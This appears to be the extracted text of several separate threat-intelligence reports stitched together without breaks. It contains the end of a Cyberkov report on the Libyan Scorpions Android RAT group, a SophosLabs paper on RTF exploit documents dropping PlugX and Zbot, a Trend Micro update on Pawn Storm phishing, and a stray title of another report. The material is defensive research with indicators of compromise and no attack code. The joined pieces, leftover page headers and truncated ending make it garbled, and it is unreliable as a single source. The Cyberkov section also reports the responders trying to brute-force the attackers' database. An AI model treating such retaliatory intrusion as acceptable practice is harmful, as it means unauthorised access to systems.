https://www.fidelissecurity.com/sites/default/files/FTA_1019_Ratcheting_Down_on_JSocket_A_PC_and_Android_Threat_FINAL.pdf https://www.fidelissecurity.com/sites/default/files/FTA_1019_Ratcheting_Down_on_JSocket_A_PC_and_Android_Threat_FINAL.pdf Tel: 965 22445500 Fax: 1 (888) 4333113 Email: infocyberkov.com Website: www.cyberkov.com 25 25 Hunting Libyan Scorpions Threat Actor and Attribution Seems like the Libyan Scorpions threat actors are running multiple Android RATs since numerous ports protected by SSL layer are open in (winmeif.myq-see.com) machine. Also, the Libyan Scorpions threat actors left phpinfo.php script on the webserver running on port 80 with useful information that could expose them. Their machine is running Windows 7 Professional Service Pack 1. Tel: 965 22445500 Fax: 1 (888) 4333113 Email: infocyberkov.com Website: www.cyberkov.com 26 26 Hunting Libyan Scorpions Username of the Windows machine is admin. The computer name of Windows machine is ADMIN. Tel: 965 22445500 Fax: 1 (888) 4333113 Email: infocyberkov.com Website: www.cyberkov.com 27 27 Hunting Libyan Scorpions The Libyan Scorpions threat actors use a Dell laptop and have Skype installed and are setting behind a NAT and their internal IP address is 192.168.1.16 The attackers also have a PhpMyAdmin script installed in their machine: Tel: 965 22445500 Fax: 1 (888) 4333113 Email: infocyberkov.com Website: www.cyberkov.com 28 28 Hunting Libyan Scorpions Cyberkov Security Incident Response Team (CSIRT) tried to brute force the password of the database using the top most common 100 passwords. Unfortunately, the attempt failed. Tel: 965 22445500 Fax: 1 (888) 4333113 Email: infocyberkov.com Website: www.cyberkov.com 29 29 Hunting Libyan Scorpions Threat Actors Infrastructure Going back to the IP address of the attackers (41.208.110.46), it is very important to discover the attackers infrastructure that maybe used to launch wider attacks using multiple RATs on multiple platforms. By using Threat Intelligence Platforms and Feeds such as PassiveTotal, Cyberkov was able to discover more activities and campaigns run by Libyan Scorpions. The following Heatmap shows that the IP address (41.208.110.46) has been used to launch attacks since 9/9/2015 until the time of writing this report using 5 different hostnames and multiple malicious malwares. The following table summarizes the list of hostnames used by the attacker(s): Hostname First Seen Last Seen Samsung.ddns.me 26-04-2016 08-09-2016 Wininit.myq-see.com 24-05-2016 22-08-2016 Winmeif.myq-see.com 07-08-2016 22-08-2016 Collge.myq-see.com 09-09-2015 22-08-2016 Sara2011.no-ip.biz 08-10-2015 08-10-2015 Tel: 965 22445500 Fax: 1 (888) 4333113 Email: infocyberkov.com Website: www.cyberkov.com 30 30 Hunting Libyan Scorpions All of the hostnames point to the same C2 IP address used by the attackers (but sara2011.no-ip.biz): Also, using PassiveTotal, the C2 is connected to 2 more malwares used by the attackers having the following hashes (MD5): 1738ecf69b8303934bb10170bcef8926 93ebc337c5fe4794d33df155986a284d The first hash in the above picture is for the malware Voice Massege.apk which we have analyzed already. Tel: 965 22445500 Fax: 1 (888) 4333113 Email: infocyberkov.com Website: www.cyberkov.com 31 31 Hunting Libyan Scorpions The second hash (1738ecf69b8303934bb10170bcef8926) is named (Benghazi.exe) and have detection rate of 21 out of 56 (37.5) and has been uploaded first time to VirusTotal on 23-04-2016. Notice that this malware targets Windows machines and not Android smartphones. It is compiled on 15-04- 2016 and is coded in Visual Basic. Tel: 965 22445500 Fax: 1 (888) 4333113 Email: infocyberkov.com Website: www.cyberkov.com 32 32 Hunting Libyan Scorpions The third hash (93ebc337c5fe4794d33df155986a284d) is a DroidJack, a malicious attacking platform, targeting android smartphones. Also, the name of activities and services contains net.droidjack.server name which makes us sure it is DroidJack malware. Tel: 965 22445500 Fax: 1 (888) 4333113 Email: infocyberkov.com Website: www.cyberkov.com 33 33 Hunting Libyan Scorpions To Be Continued Cyberkov will continue investigating Libyan Scorpions hacking group operating in Libya and will update this report with a follow-up reports regarding any future cyber activities. Mitigating Libyan Scorpions Attacks on Android Cyberkov recommends the following points in order to protect the victims from such malwares: Update your Android operating system regularly Install DrWeb Security Space for Android (A leading Russian AntiVirus Company) Use of DrWeb Telegram Bot (DrWebBot) to scan links and files shared on Telegram chats or groups Install Zemana Mobile AntiVirus (A leading Turkish AntiMalware and AntiFraud Company) Never install applications from unknown sources Use Telegram with Secret Chat feature only Always verify with your partners when sending and receiving files Indicators of Compromise (IOCs) The following table summarizes the list of indicators to detect the malware: Type Indicator Sha256 9d8e5ccd4cf543b4b41e4c6a1caae1409076a26ee74c61c148dffd3ce87d7787 Sha256 4e656834a93ce9c3df40fe9a3ee1efcccc728e7ea997dc2526b216b8fd21cbf6 Sha256 e66d795d0c832ad16381d433a13a2cb57ab097d90e9c73a1178a95132b1c0f70 Md5 1738ecf69b8303934bb10170bcef8926 Md5 93ebc337c5fe4794d33df155986a284d Md5 1c8a1aa75d514d9b1c7118458e0b8a14 Sha1 41096b7f808a91ee773bbba304ea2cd0fa42519d Sha1 46d832a9c1d6c34edffee361aca3de65db1b7932 Sha1 2e2d1315c47db73ba8facb99240ca6c085a9acbc Filename Voice Massege.apk Filename Benghazi.exe Filename VPN.apk IP 41.208.110.46 Domain winmeif.myq-see.com Domain Wininit.myq-see.com Domain Samsung.ddns.me Domain Collge.myq-see.com Domain Sara2011.no-ip.biz A SophosLabs technical paper October 2014 By Gabor Szappanos, Principal Researcher, SophosLabs Hungary The Rotten Tomato Campaign 1A SophosLabs technical paper October 2014 The Rotten Tomato Campaign Contents Overview 2 Template 1: CVE-2012-0158 CVE-2014-1761 Combo 2 First attempt: Plugx 3 Template 2: Goldsun 4 Second attempts 5 Plugx 6 Appat 10 Others 12 Successful intergrations 13 Detour: Plugx 16 Conclusion 20 References 20 2A SophosLabs technical paper October 2014 The Rotten Tomato Campaign Overview Malware authors are not shy about borrowing ideas. One of the most typical cases is the Tomato Garden case,1 where several different groups used the same zero-day Microsoft Word exploit. The term used means that they somehow get hold of a document that exploited the vulnerability, and then left the exploiting document part and the shellcode intact, only changed the appended encrypted executable at the end, and immediately they had what needed. Something very similar happened just recently, in August and September of 2014. I always wanted to know how the malware writing groups worked. I mean the really serious ones, the ones behind Chinese state-sponsored APT attacks, or the groups behind high profile common malware, like Zeus. This case offers another piece of insight. There must have been a staff meeting, where the manager prompted that, in the next malware distribution campaign they should not only use the aging CVE-2012-0158 vulnerability, but the newer CVE-2014-1761 as well. The rest of the document will detail how some of the groups coped with this task. Clearly, the malware authors took a sample somehow and started the implementation process. I wasnt there, of course, so what follows is an educated guess based on the samples. Template 1: CVE-2012-0158 CVE-2014-1761 Combo Recently we saw a lot of samples that exploit both CVE-2012-0158 and CVE-2014-1761, and usually either download or drop a Zbot variant. The document starts with the RTF header stuff, followed by the encrypted second stage. This is followed by the embedded object exploiting the CVE-2012-0158 vulnerability with the shellcode. Following it is a block exploiting the CVE-2014-1761 with a shellcode of its own, as illustrated in the image below. The color scheme I will use in the rest of the document is the following: green represents the properly used components yellow the unused components and red the incorrectly used components. Regardless of the particular exploit used, both shellcodes performed the memory egg-hunting for the memory markers of the second stage (as described in2), and decrypted it when found. The second stage could be either a downloader shellcode or a Win32 executable. One of these samples was SHA1: c3a7cb43ec13299b758cb8ca25eace71329939f7, which contained an encrypted Zbot variant3 at the beginning of the RTF. It looks very likely that this sample was used as a development template for the other malware writing groups. Encrypted Zbot CVE-2012-0158 exploit and Zbot shellcode CVE-2014-1761 exploit and Zbot shellcode 3A SophosLabs technical paper October 2014 The Rotten Tomato Campaign First attempt: Plugx The first attempt must have come from the group deploying Plugx. They took the above mentioned sample, and made some modifications to it. The result looks like this one: I can only guess that they didnt understand the CVE-2014-1761 component, and thought that there was only one shellcode, in the CVE-2012-0158 segment. So they appended the encrypted Plugx executable, and replaced the first shellcode with their own. This shellcode contains the hardcoded offset of the embedded executable, and decrypts from there. However, they left intact the encrypted Zbot executable at the beginning of the file and the second vulnerability, making this sample a real dual weapon: not only that it exploits two vulnerabilities, but contains two totally different payloads. However, Word can only be exploited once: during the exploitation procedure the current instance of Word exits, and a new one is started that displays the decoy document. So this creates a race condition: whichever vulnerability is triggered first (or gets lucky in an environment where the other one is patched) will have the chance to run its own payload. 13effaca957cc362bdcbfdd05b5763205b53d9ca Original name: N/A System activity Dropped to C:\Documents and Settings\All Users\DRM\AShld\drmupgds.exe (clean loader digitally signed by Microsoft) and C:\Documents and Settings\All Users\DRM\AShld\BlackBox. DLL (malware loader) and C:\Documents and Settings\All Users\DRM\AShld\BlackBox. BOX (payload) registered in HKLM\SYSTEM\CurrentControlSet\Services\BlackBox ImagePath The payload is next-generation Plugx,4 plugin function creation dates are 0x20130810. Encrypted Zbot CVE-2012-0158 exploit and Plugx shellcode CVE-2014-1761 exploit and Zbot shellcode Encrypted Plugx 4A SophosLabs technical paper October 2014 The Rotten Tomato Campaign CC servers chromeupdate.authorizeddns.org Dynamic DNS service googlesupport.proxydns.com Dynamic DNS service Template 2: Goldsun At some point they must have realized that it was wrong and tried to fix the CVE-2014-1761 part. For that, they took another recent sample, something similar to those that drop Goldsun Trojans (like this SHA1: e2474cc0da5a79af876771217eb81974e73c39e5) In this case, the RTF only contains the CVE-2014-1761 vulnerability, with an appended executable. The vulnerability expects the second stage shellcode at a fixed file offset, checks a marker string there (p11), and jumps to the second stage, which then decrypts and executes the final Win32 payload. 5A SophosLabs technical paper October 2014 The Rotten Tomato Campaign Second attempts A large group of samples were created by a sort of a fusion of the Zbot and the Goldsun samples, resulting in a structure like this one: So now there are two different shellcodes. The first, from Plugx, reads the length of the embedded decoy document and Win32 payload from the end of the file, and using this info locates and decrypts the appended payload. This shellcode identifies the host document by checking if the last dword is the same as the dword before that rotated by 3. And the same holds for another two dwords before that. These dwords also store the length of the appended PE payload and decoy document lengths. This structure makes it possible to swap the payload without changing the exploit and shellcode part. The shellcode from Goldsun executes the second stage code from a fixed offset. CVE-2014-1761 exploit and Goldsun shellcode Memory marker and Goldsun second stage shellcode Start marker and encrypted Goldsun Encrypted Zbot CVE-2012-0158 exploit and Plugx shellcode CVE-2014-1761 exploit and Goldsun shellcode Memory marker and Goldsun second stage shellcode Encrypted Plugx Blank 6A SophosLabs technical paper October 2014 The Rotten Tomato Campaign There are a couple of problems with this implementation. First, the defunctional encrypted Zbot remains in these files, with no purpose at all. But the real problem is with the Goldsun style CVE-2014-1761 block. It was snatched from the CVE-2014-1761 exploiting document, and pasted after the existing ZbotCVE-2012-0158 combo. Clearly, the offset where the second stage code would be shifted with the different prepended content, but it never happened. As a result, the CVE-2014-1761 exploitation doesnt work, despite all the efforts of the malware authors. A couple of distinct malware groups were identified that use these schematics. Plugx All of these samples are Plugx v2 samples.4 Most of the time they use Russian related themes in the decoy document. 21b3e540746816c85e5270a1b8bb58bf713ff5f5 Original name: N/A The dropped decoy document doesnt contain anything, it is only blank page. System activity Dropped to C:\Documents and Settings\All Users\DRM\usta\usha.exe (clean loader, digitally signed by Kaspersky) and C:\Documents and Settings\All Users\DRM\usta\ushata.dll (malware loader) and C:\Documents and Settings\All Users\DRM\usta\ushata.dll.avp (payload) registered for startup as a service in HKLM\SYSTEM\CurrentControlSet\Services\usta ImagePath The payload is next generation Plugx,4 plugin function creation dates are 0x20130810 CC servers www.notebookhk.net Registry Registrant ID: Registrant Postal Code: 796373 Registrant Name: lee stan Registrant Country: HK Registrant Organization: lee stan Registrant Phone: 0.04375094543 Registrant Street: xianggangdiqu Registrant Fax: 0.04375094543 Registrant City: xianggangdiqu Registrant Email: stanleegmail.com Registrant State: xianggang 80f965432ce872fc3592d9f907d5a4f66ab07f9c Original name: 16.09.2014.doc 7A SophosLabs technical paper October 2014 The Rotten Tomato Campaign System activity Dropped to C:\Documents and Settings\All Users\DRM\AShld\AShld.exe (clean loader, digitally signed by McAfee) and C:\Documents and Settings\All Users\DRM\AShld\AShldRes. DLL (malware loader) and C:\Documents and Settings\All Users\DRM\AShld\AShldRes. DLL.asr (payload) registered for startup as a service in HKLM\SYSTEM\CurrentControlSet\Services\ AShld ImagePath The payload is next generation Plugx,4 plugin function creation dates are 0x20130810. CC servers dwm.dnsedc.com Registry Registrant ID: Registrant Country: CN Registrant Name: qiuping liu Registrant Phone: 86.1052810955 Registrant Organization: huajiyoutian Registrant Phone Ext: Registrant Street: beijing Registrant Fax: 89.1052810955 Registrant City: Beijing Registrant Fax Ext: Registrant State/Province: BJ Registrant Email: yuminga1126.com Registrant Postal Code: 100191 Two of the Plugx samples turned out to be very new developments. Similar samples were just recently encountered from the list generated by a researcher.5 176273806e6fe338123ff660e70145935bac77c3 Original name: .doc 8A SophosLabs technical paper October 2014 The Rotten Tomato Campaign System activity Dropped to C:\Documents and Settings\All Users\DRM\KavSky\msinfo.exe (clean loader by Kaspersky) and C:\Documents and Settings\All Users\DRM\KavSky\msi.dll (malware loader) and C:\Documents and Settings\All Users\DRM\KavSky\msi.dll.eng (payload) registered in for startup as a service in HKLM\SYSTEM\CurrentControlSet\Services\KavSky ImagePath The payload is next generation Plugx [4], plugin function creation dates are 20140719 (and interestingly, decimal and not hexadecimal, as generally seen in Plugx). Additionally, it has some internal function names not seen in earlier Plugx versions: ZX, ZXWT, JP1, JP2, JP3, JP4, JP5, JAP0, JAP1 CC servers futuresgolda.com Registry Registrant ID: Registrant Country: CN Registrant Name: qiuping liu Registrant Phone: 86.1052810955 Registrant Organization: huajiyoutian Registrant Phone Ext: Registrant Street: beijing Registrant Fax: 89.1052810955 Registrant City: Beijing Registrant Fax Ext: Registrant State/Province: BJ Registrant Email: yuminga1126.com Registrant Postal Code: 100191 adobeflashupdate.dynu.com systemupdate5.dtdns.com Dynamic DNS service Dynamic DNS service 4ad76ce333b38c5bdd558e3d76640fa322e3cca6 Original name: 2014 Chairmanship_end.doc 9A SophosLabs technical paper October 2014 The Rotten Tomato Campaign System activity Dropped to C:\Documents and Settings\All Users\DRM\KavSky\m.exe (clean loader, digitally signed by Kaspersky) and C:\Documents and Settings\All Users\DRM\KavSky\msi.dll (malware loader) and C:\Documents and Settings\All Users\DRM\KavSky\msi.dll.eng (payload) registered in for startup as a service in HKLM\SYSTEM\CurrentControlSet\Services\KavSky ImagePath The payload is next generation Plugx,4 plugin function creation dates are 20140719 decimal. Additionally, it has some internal function names not seen in earlier Plugx versions: ZX, ZXWT, JP1, JP2, JP3, JP4, JP5, JAP0, JAP1 This sample used a Myanmar related decoy theme, likely part of a separate distribution campaign. CC servers indiasceus.jetos.com indiasceus.justdied.com Dynamic DNS service Dynamic DNS service 10A SophosLabs technical paper October 2014 The Rotten Tomato Campaign Appat These are new Trojans. Not connected to Plugx at code level, but the overlap between the CC servers, the same domain registration contact (yuminga1126.com), and the similar Russian theme indicates that the same group deployed them. 0dfd883c1f205f0740d50688683f1869bcc0e9d7 Original name: 2021-2025 .doc System activity Dropped to WINDOWS\AppPatch\AcProtect.dll (SHA1: 994be9c340f57ba8cbb20b7ceedad49b00294f3e) and WINDOWS\AppPatch\msimain.mui (separate payload file). Registered for startup with unusual autostart method, briefly touched in.7 A Microsoft patch file is dropped to WINDOWS\AppPatch\Custom\099BF1AE-6A93- 493D-0C48-2453E7FBC801.sdband registered to load in HKLM\SOFTWARE\Microsoft\ Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB. That file loads AcProtect.dll as a library component. The dumped payload shows similar functionality to what Plugx (or any other general purpose backdoor) has, but on a code level it is very different. 11A SophosLabs technical paper October 2014 The Rotten Tomato Campaign CC servers adobeflashupdate.dynu.com Dynamic DNS service transactiona.com Domain Status: clientTransferProhibited Registrant Postal Code: 100191 Registry Registrant ID: Registrant Country: CN Registrant Name: qiuping liu Registrant Phone: 86.1052810955 Registrant Organization: huajiyoutian Registrant Phone Ext: Registrant Street: beijing Registrant Fax: 89.1052810955 Registrant City: Beijing Registrant Fax Ext: Registrant State/Province: BJ Registrant Email: yuminga1126.com systemupdate5.dtdns.com Dynamic DNS service 9bc128f120996677d3c4f7c1d7506315b232e49e Original name: 2015-2020 .doc System activity Dropped to PROFILE\Local Settings\Temp\3.tmp 64 bit malware components, refer to the same files names that are used by 0dfd883c1f205f0740d50688683f1869bcc0e9d7 CC servers: N/A 12A SophosLabs technical paper October 2014 The Rotten Tomato Campaign Others There were a few other samples, but all single. Kamics :712df1f1f11f63e2154eb9023d584be62ef100b8 Original name: N/A The dropped decoy document is a password protected Word file, content is not visible in the lack of the correct password. System activity Dropped to PROFILE\Local Settings\Temp\msvcpdl100.dll (SHA1: 51346d70ea97a7aaef80f98c4891526443b2696c) and C:\MsBuild\Microsoft\Windows\System32\ svchost.exe (SHA1: 2196770391bdbdd15bce5895427ec99b1bef0868) registered for startup in HKCU\Software\Microsoft\Windows\CurrentVersion\Run Kaspersky Internet Security CC servers buglaa.sportnewsa.net Farfli: 960ac7329a6e80682959d6da0469921f8167e79a Original name: MoFA Note- Verbale on 19.8.14.doc System activity Dropped to PROFILE\Application Data\winlog.exe (SHA1: 511f2055a56c0f458b1b14cc207730d0fe639df4) and PROFILE\Application Data\winlog.dll (SHA1: bb185efd35f7b4892a32e7853e044e94502a36af) 13A SophosLabs technical paper October 2014 The Rotten Tomato Campaign CC servers unisers.com Domain Status: clientTransferProhibited Registrant State: Beijing Registry Registrant ID: Registrant Postal Code: 100001 Registrant Name: wang cheng Registrant Country: CN Registrant Organization: wang cheng Registrant Phone: 86.01085452454 Registrant Street: BeijingDaguoROAD136 Registrant Fax: 86.01085452454 Registrant City: Beijing Registrant Email: bitumberls.163.com Successful integrations But not all were failures. There were two samples that followed the above structure, and the Goldsun shellcode offset was fixed. However, both samples were only dropping and executing a Chinese nationalized version of calc. exe these are clearly test samples from China. Furthermore, a couple of common malware samples were found with fixed second stage offsets, showing that at least these guys know what they are doing. Still, they kept the inactive encrypted Zbot at the beginning of the document. Zbot Among the samples conventional Zbots variants were also found. These showed up in Middle Eastern countries, and have Arabic themes as a decoy. a44308788bbd189e532745a79d126feaf708c3cd Original name: .doc Encrypted Zbot CVE-2012-0158 exploit and Plugx shellcode CVE-2014-1761 exploit and Goldsun shellcode Memory marker and Goldsun second stage shellcode Encrypted Zbot 14A SophosLabs technical paper October 2014 The Rotten Tomato Campaign System activity Dropped to PROFILE\Application Data\Yhyq\sied.exe (random directory and filename) registered for startup in HKCU\Software\Microsoft\Windows\CurrentVersion\Run Opagw CC servers www.starorder.ezua.com Dynamic DNS service pop3.sec-homeland.com Domain Status: OK Registry Registrant ID: Registrant Country: China Registrant Name: dfhgewy Registrant Phone: 086.0000 00000000 Registrant Organization: dfhgewy Registrant Phone Ext: Registrant Street: dfhgewy Registrant Fax: 086.0000 00000000 Registrant City: Unknown City Registrant Fax Ext: Registrant State/Province: Unknown Province Registrant Email: joiupnhs163.com Registrant Postal Code: 000000 d05e586251b3a965b9c9af76568eff912e16432f Original name: .doc 15A SophosLabs technical paper October 2014 The Rotten Tomato Campaign System activity Dropped to PROFILE\Application Data\Hysyt\ydbi.exe (random directory and filename) registered for startup in HKCU\Software\Microsoft\Windows\CurrentVersion\Run Pecyiqu CC servers www.starorder.ezua.com Dynamic DNS service pop3.sec-homeland.com Domain Status: OK Registrant Postal Code: 000000 Registry Registrant ID: Registrant Country: China Registrant Name: dfhgewy Registrant Phone: 086.0000 00000000 Registrant Organization: dfhgewy Registrant Phone Ext: Registrant Street: dfhgewy Registrant Fax: 086.0000 00000000 Registrant City: Unknown City Registrant Fax Ext: Registrant State/Province: Unknown Province Registrant Email: joiupnhs163.com Swrort: fa616b8e2f91810a8d036ba0adca6df50da2ad22 Original name: test.doc 16A SophosLabs technical paper October 2014 The Rotten Tomato Campaign System activity Dropped to PROFILE\Local Settings\Temp\3.tmp CC servers Detour: Plugx During the analysis of this campaign we ran into a handful of samples that have nothing to do with CVE-2014-1761, but they contained some of the encrypted Zbot at the beginning of the file. The end of encrypted PE is truncated, and the CVE-2012-0158 code is replaced with the Plugx shellcode. Interestingly, there is another shellcode, which is starts with the same marker (p11) as the Goldsun second stage code, but the execution logic is the same as the Plugx shellcode. However, this shellcode just hangs in the air, no execution path leads to it. It is not clear, where these samples fit in the development path, could be that after the failure to integrate CVE-2014-1761, the corresponding part was simply ditched from the samples. 6f845ef154a0b456afcf8b562a0387dabf4f5f85 Original name: Indian Cooking Recipe.doc Encrypted Zbot CVE-2012-0158 exploit and Plugx shellcode Memory marker and Plugx second stage shellcode Encrypted Plugx 17A SophosLabs technical paper October 2014 The Rotten Tomato Campaign System activity Dropped to C:\Documents and Settings\All Users\RasTls\RasTls.exe (clean loader digitally signed by Symantec), C:\Documents and Settings\All Users\RasTls\RasTls.dll (loader) and C:\Documents and Settings\All Users\RasTls\RasTls.dll.msc (payload) registered in HKLM\ SYSTEM\CurrentControlSet\Services\RasTls ImagePath The payload is next generation Plugx,4 plugin function creation dates are 0x20130524 CC servers supercat.strangled.net Free domain sharing a97827aef54e7969b9cbbec64d9ee81a835f2240 Original name: Calling Off India-Pak Talks.doc 18A SophosLabs technical paper October 2014 The Rotten Tomato Campaign System activity Dropped to C:\Documents and Settings\All Users\RasTls\RasTls.exe (clean loader digitally signed by Symantec), C:\Documents and Settings\All Users\RasTls\RasTls.dll (loader) and C:\Documents and Settings\All Users\RasTls\RasTls.dll.msc (payload) registered in HKLM\ SYSTEM\CurrentControlSet\Services\RasTls ImagePath The payload is next generation Plugx,4 plugin function creation dates are 0x20130524 CC servers nusteachers.no-ip.org Dynamic DNS service e8a29bb90422fa6116563073725fa54169998325 Original name: Human Rights Violations of Tibet.doc 19A SophosLabs technical paper October 2014 The Rotten Tomato Campaign System activity Dropped to C:\Documents and Settings\All Users\RasTls\RasTls.exe (clean loader digitally signed by Symantec), C:\Documents and Settings\All Users\RasTls\RasTls.dll (loader) and C:\Documents and Settings\All Users\RasTls\RasTls.dll.msc (payload) registered in HKLM\ SYSTEM\CurrentControlSet\Services\RasTls ImagePath The payload is next generation Plugx,4 plugin function creation dates are 0x20130524. CC servers ruchi.mysq1.net Dynamic DNS service 19e9dfabdb9b10a90b62c12f205ff0d1eeef3f14 This is not a Plugx sample, but a Nineblog variant.8 Original name: ghozaresh amniyati.doc System activity Dropped to PROFILE\Application Data\Erease.vbe, that connects to the CC server. The dropped decoy document is bogus, a truncated copy of the exploited document. CC servers: www.freetimes.dns05.com Dynamic DNS service The Rotten Tomato Campaign Conclusion Apart from the lesson learned about malware development, what can we learn from this process? The partially successful Plugx attempt raises a few questions. Should it be considered as a common cybercrime sample (as the dropped Zbot suggests) or as an APT (as Plugx does)? Actually, it depends on the patch level of the targeted computer. The narrow line between APT and common malware shrank to zero with that sample. We have seen earlier6 that authors of common malware are getting the idea of document-based exploitation from the APT players. Now it is swinging back targeted attack players are snatching ideas from the other group. The fact that the attempt was less successful does not deny the fact that a symbiosis exists between the two distinct criminal groups, and ideas are floating in both directions. References: 1. http://blog.malwaretracker.com/2013/06/tomato-garden-campaign-part-2-old-new.html 2. http://www.securelist.com/en/analysis/204792298/The_ curious_case_of_a_CVE_2012_0158_exploit 3. https://www.virustotal.com/en-gb/file/3ba00f684daf0f9f2c1bef093 4f1af73c7dabd44a13070b64de34c0754110aa3/analysis/ 4. https://nakedsecurity.sophos.com/2014/06/30/from-the-labs-plugx-the-next-generation/ 5. http://blog.9bplus.com/watching-attackers-through-virustotal/ 6. https://nakedsecurity.sophos.com/2014/03/11/on-the-trail-of-advanced-persistent-threats/ 7. http://www.arcticadv.com/free/ebook/pdf/sdb-explorer-exe-black-hat.html 8. http://www.fireeye.com/blog/technical/malware-research/2013/08/ the-curious-case-of-encoded-vb-scripts-apt-nineblog.html Oxford, UK Boston, USA Copyright 2014. Sophos Ltd. All rights reserved. Registered in England and Wales No. 2096520, The Pentagon, Abingdon Science Park, Abingdon, OX14 3YP, UK Sophos is the registered trademark of Sophos Ltd. All other product and company names mentioned are trademarks or registered trademarks of their respective owners. 10.14RG.tpna.simple United Kingdom and Worldwide Sales Tel: 44 (0)8447 671131 Email: salessophos.com North American Sales Toll Free: 1-866-866-2802 Email: nasalessophos.com Australia and New Zealand Sales Tel: 61 2 9409 9100 Email: salessophos.com.au Asia Sales Tel: 65 62244168 Email: salesasiasophos.com Overview Deployment Payload Final payload Conclusion Appendix References Feike Hacquebord (Senior Threat Researcher) January 12, 2018 Update on Pawn Storm: New Targets and Politically Motivated Campaigns blog.trendmicro.com/trendlabs-security-intelligence/update-pawn-storm-new-targets-politically-motivated-campaigns/ In the second half of 2017 Pawn Storm, an extremely active espionage actor group, didnt shy away from continuing their brazen attacks. Usually, the groups attacks are not isolated incidents, and we can often relate them to earlier attacks by carefully looking at both technical indicators and motives. Pawn Storm has been attacking political organizations in France, Germany, Montenegro, Turkey, Ukraine, and the United States since 2015. We saw attacks against political organizations again in the second half of 2017. These attacks dont show much technical innovation over time, but they are well prepared, persistent, and often hard to defend against. Pawn Storm has a large toolset full of social engineering tricks, malware and exploits, and therefore doesnt need much innovation apart from occasionally using their own zero-days and quickly abusing software vulnerabilities shortly after a security patch is released. In summer and fall of 2017, we observed Pawn Storm targeting several organizations with credential phishing and spear phishing attacks. Pawn Storms modus operandi is quite consistent over the years, with some of their technical tricks being used repeatedly. For example, tabnabbing was used against Yahoo users in August and September 2017 in US politically themed email. The method, which we first discussed in 2014, involves changing a browser tab to point to a phishing site after distracting the target. We can often closely relate current and old Pawn Storm campaigns using data that spans more than four years, possibly because the actors in the group follow a script when setting up an attack. This makes sense, as the sheer volume of their attacks requires careful administration, planning, and organization to succeed. The screenshots below show two typical credential phishing emails that targeted specific organizations in October and November 2017. One type of email is supposedly a message from the targets Microsoft Exchange server about an expired password. The other says there is a new file on the companys OneDrive system. 1/4 https://blog.trendmicro.com/trendlabs-security-intelligence/update-pawn-storm-new-targets-politically-motivated-campaigns/ https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/espionage-cyber-propaganda-two-years-of-pawn-storm http://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-ramps-up-spear-phishing-before-zero-days-get-patched/ http://blog.trendmicro.com/trendlabs-security-intelligence/operation-pawn-storm-putting-outlook-web-access-users-at-risk/ Figure 1. A sample of a credential phishing email Pawn Storm sent in October and November 2017 Figure 2. Second type of credential phishing email that was sent by Pawn Storm in November 2017. The logo of the target organization has been removed from the screenshot and the color was changed as not to reveal the source. 2/4 While these emails might not seem to be advanced in nature, weve seen that credential loss is often the starting point of further attacks that include stealing sensitive data from email inboxes. We have worked with one of the targets, an NGO in the Netherlands targeted twice, in late October and early November 2017. We successfully prevented both attacks from causing any harm. In one case we were able to warn the target within two hours after a dedicated credential phishing site was set up. In an earlier attack, we were able to warn the organization 24 hours before the actual phishing emails were sent. Olympic Wintersports Federations We have seen several International Olympic Wintersport Federations, such as the European Ice Hockey Federation, the International Ski Federation, the International Biathlon Union, the International Bobsleigh and Skeleton Federation and the International Luge Federation, among the groups targets in the second half of 2017. This is noteworthy due to the timing correlation between several Russian Olympic players being banned for life in fall, 2017. In 2016, Pawn Storm had some success in compromising WADA (the World Anti-Doping Agency) and TAS- CAS (the Court of Arbitration for Sport). At that time, Pawn Storm sought active contact with mainstream media either directly or via proxies and had influence on what some of them published. Political targets In the week of the 2017 presidential elections in Iran, Pawn Storm set up a phishing site targeting chmail.ir webmail users. We were able to collect evidence that credential phishing emails were sent to chmail.ir users on May 18, 2017, just one day before the presidential elections in Iran. We have previously reported similar targeted activity against political organizations in France, Germany, Montenegro, Turkey, Ukraine, and the United States. Beginning in June 2017, phishing sites were set up mimicking the ADFS (Active Directory Federation Services) of the U.S. Senate. By looking at the digital fingerprints of these phishing sites and comparing them with a large data set that spans almost five years, we can uniquely relate them to a couple of Pawn Storm incidents in 2016 and 2017. The real ADFS server of the U.S. Senate is not reachable on the open internet, however phishing of users credentials on an ADFS server that is behind a firewall still makes sense. In case an actor already has a foothold in an organization after compromising one user account, credential phishing could help him get closer to high profile users of interest. The future of politically motivated campaigns Rogue political influence campaigns are not likely to go away in the near future. Political organizations have to be able to communicate openly with their voters, the press and the general public. This makes them vulnerable to hacking and spear phishing. On top of that, its also relatively easy to influence public opinion via social media. Social media platforms continue to form a substantial part of users online experience, and they let advertisers reach consumers with their message. 3/4 This makes social media algorithms susceptible to abuse by various actors with bad intentions. Publishing stolen data together with spreading fake news and rumors on social media gives malicious actors powerful tools. While a successful influence campaign might seem relatively easy to do, it needs a lot of planning, persistence, and resources to be successful. Some of the basic tools and services, like ones used to spread fake news on social media, are already being offered as a service in the underground economy. As we have mentioned in our overview paper on Pawn Storm, other actors may also start their own campaigns that aim to influence politics and issues of interest domestically and abroad. Actors from developing countries will learn and probably adapt similar methods quickly in the near future. In 2016, we published a report on C Major, an espionage group that primarily targets the Indian military. By digging deeper into C Majors activities, we found that this actor group not only attacks the Indian military, but also has dedicated botnets for compromised targets in Iranian universities, Afghanistan, and Pakistan. Recently, we have witnessed C Major also showing some interest in compromising military and diplomatic targets in the West. It is only a matter of time before actors like C Major begin attempting to influence public opinion in foreign countries, as well. With the Olympics and several significant global elections taking place in 2018, we can be sure Pawn Storms activities will continue. We at Trend Micro will keep monitoring their targeted activities, as well as activities of similar actors, as cyberpropaganda and digital extortion remain in use. Indicators of Compromise (IoCs): adfs[.]senate[. ]group adfs-senate[. ]email adfs-senate[. ]services adfs.senate[.]qov[. ]info chmail.ir[.]udelivered[. ]tk webmail-ibsf[. ]org fil-luge[. ]com biathlovvorld[. ]com mail-ibu[. ]eu fisski[. ]ca iihf[. ]eu 4/4 https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/fake-news-cyber-propaganda-the-abuse-of-social-media https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/espionage-cyber-propaganda-two-years-of-pawn-storm http://documents.trendmicro.com/assets/pdf/Indian-military-personnel-targeted-by-information-theft-campaign-cmajor.pdf Update on Pawn Storm: New Targets and Politically Motivated Campaigns Secrets of the Comfoo Masters Author: Joe Stewart and Don Jackson, Dell SecureWorks Counter Threat Unit(TM) Threat Intelligence Date: 31 July 2013 